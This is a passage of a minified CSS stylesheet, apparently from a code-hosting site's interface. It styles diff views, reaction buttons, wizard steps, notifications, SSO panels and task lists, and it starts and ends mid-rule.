.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body 